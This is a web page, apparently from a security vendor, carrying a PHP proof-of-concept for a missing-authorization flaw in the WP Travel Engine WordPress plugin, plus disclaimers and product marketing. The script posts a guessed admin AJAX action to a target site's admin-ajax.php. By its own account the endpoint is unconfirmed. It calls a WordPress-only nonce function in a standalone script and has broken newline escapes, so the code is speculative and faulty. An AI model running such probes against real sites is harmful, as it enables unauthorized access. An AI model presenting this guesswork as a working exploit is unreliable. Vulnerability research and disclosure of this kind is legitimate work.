Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49078 - WP Travel Engine – Tour Booking Plugin – Tour Operator Software <= 6.7.10 - Missing Authorization

// This PoC demonstrates an attempt to exploit a missing capability check.
// Note: The specific vulnerable endpoint is not confirmed from the provided diff.
// This script provides a generic test structure for a common AJAX handler vulnerability.

$target_url = 'http://target-site.com'; // CHANGE THIS to the target WordPress site URL

// Attempt to trigger an admin AJAX action that should require capabilities.
// Replace 'vulnerable_action' with the actual action name for the missing check.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Common action name pattern; this is a placeholder.
$vulnerable_action = 'wptravelengine_save_settings'; // GUESS - replace with actual action

$post_data = array(
    'action' => $vulnerable_action,
    // Additional parameters required by the vulnerable function would go here
    '_ajax_nonce' => wp_create_nonce('vulnerable_nonce') // May be absent if nonce is not checked
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body:n" . $response . "n";

if ($http_code == 200 && !empty($response)) {
    echo "[+] The request succeeded, indicating a potential missing authorization vulnerability.n";
} else {
    echo "[-] The request failed or was denied. The vulnerability may require a different endpoint or parameters.n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School